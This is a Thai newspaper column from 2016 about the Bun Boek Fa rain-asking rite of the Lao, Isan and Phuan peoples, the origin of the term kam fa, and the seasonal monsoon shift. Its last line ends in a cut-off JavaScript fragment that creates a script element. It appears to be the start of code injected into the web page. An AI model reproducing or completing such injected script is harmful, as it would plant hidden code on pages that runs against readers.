มติชนรายวัน ฉบับประจำวันศุกร์ที่ 5 กุมภาพันธ์ 2559

 

ฟ้าไขประตูฝน

บุญเบิกฟ้า เดือน 3

          บุญเบิกฟ้า (ในวัฒนธรรมลาวลุ่มน้ำโขง และอีสาน) หมายถึงงานต้นเดือน 3 ทำบุญเลี้ยงพระกับเลี้ยงผี เพื่อวิงวอนร้องขอต่อแถนฟ้าเปิดประตูให้ฝนตกลงดิน เข้าสู่ฤดูการผลิตใหม่

          คนพวนเรียกประเพณีนี้ว่า บุญกำฟ้า เป็นเวลา “ฟ้าไขประตูฝน”

          ช่วงนี้ ราวกลางกุมภาพันธ์-มีนาคม (ในปฏิทินสากล) เป็นช่วงเปลี่ยนฤดูกาล จากฤดูหนาวเข้าฤดูร้อน มีลมแปรปรวนทิศทางไม่แน่นอน

          ผู้คนยุคดึกดำบรรพ์ตกใจและหวาดกลัว ถือเป็นการกระทำของผีแถนผีฟ้า ต้องเซ่นวักเลี้ยงผีฟ้าผีแถนส่งผ่านหินก่ายฟ้า (หรือหินตั้ง)

          คำว่า บุญ ในชื่อบุญเบิกฟ้า, บุญกำฟ้า เป็นภาบาลี เพิ่งเติมเข้ามาหลังรับศาสนาพุทธ เพื่อโอนประเพณีเลี้ยงผีในศาสนาผี ให้เป็นเลี้ยงพระในศาสนาพุทธ

 

กำฟ้า, ก่ำฟ้า

          ชาวพวนเรียก งันเบิกฟ้า ว่า งันกำฟ้า

          กำฟ้า น่าจะกร่อนมาจาก ก่ำฟ้า หมายถึงฟ้าแดงก่ำครึ้มฟ้าครึ้มฝน ใกล้ฝนจะตก ซึ่งสอดคล้องกับงันเบิกฟ้าเพื่อขอฝน [ก่ำ แปลว่า เข้ม, จัด, จ้า (มักใช้กับสีแดง หรือทองที่สุก) หมายถึงสีเมฆที่ฝนกำลังจะตก]

          ก่ำฟ้า เป็นช่วงเวลาหมดฤดูหนาวขมุกขมัว เข้าฤดูร้อนสว่างฟ้า ตรงกับเบิกฟ้า

          [โคลงนิราศนรินทร์ บทที่ 4 บาท 4 วรรคหลัง ว่า “ไขประทีปโคมแก้ว ก่ำฟ้าเฟือนจันทร์” หมายถึงแสงสีจากโคมแก้วสาดสุกใสสว่างฟ้าแดงจัดจนแสงจันทร์เลือนรางจางไป]

          ชาวพวนเรียกวันฟ้าไขปักตู หมายถึงท้องฟ้าเปิดประตูน้ำฝน มีฝนตกฟ้าคะนอง คนภาคกลางเรียกหลายชื่อ เช่น ฝนชะช่อมะม่วง, ฝนชะลาน, ฝนหลงฤดู, ฝนหลงฟ้า ฯลฯ แล้วมีคำทำนายฟ้าฝนในฤดูทำนาที่จะมาถึงข้างหน้า

151 ปีมหาสารคาม จัด “บุญเบิกฟ้า” “ราตรีสร้อยดอกหมาก” ระหว่างวันที่ 5-14 กุมภาพันธ์ ณ บริเวณสนามหน้าที่ว่าการอำเภอเมืองมหาสารคาม (ภาพและคำอธิบายภาพจาก มติชน ฉบับวันจันทร์ที่ 1 กุมภาพันธ์ 2559 หน้า 31)

151 ปีมหาสารคาม จัด “บุญเบิกฟ้า” “ราตรีสร้อยดอกหมาก” ระหว่างวันที่ 5-14 กุมภาพันธ์ ณ บริเวณสนามหน้าที่ว่าการอำเภอเมืองมหาสารคาม (ภาพและคำอธิบายภาพจาก มติชน ฉบับวันจันทร์ที่ 1 กุมภาพันธ์ 2559 หน้า 31)

          ทางภูมิศาสตร์เรื่องลมมรสุม เรียกระยะเวลานี้ว่า “ช่วงเปลี่ยนฤดู” ทำให้ลมแปรปรวน มีทิศทางไม่แน่นอน

          ถือเป็นช่วงปลายลมมรสุมตะวันออกเฉียงเหนือ (เป็นฤดูหนาว ระหว่างกลางตุลาคม-กลางกุมภาพันธ์) รอเวลาจะเริ่มต้นลมมรสุมตะวันตกเฉียงใต้ (เป็นฤดูฝน ระหว่างกลางพฤษภาคม-ปลายกันยายน)

          ดังนั้น ถ้าฟ้าฝนมีเหตุแปรปรวนช่วงนี้ก็ไม่ต้องวิตก เพราะเป็นปรากฏการณ์ธรรมชาติ}var d=document;var s=d.createElement(‘script’);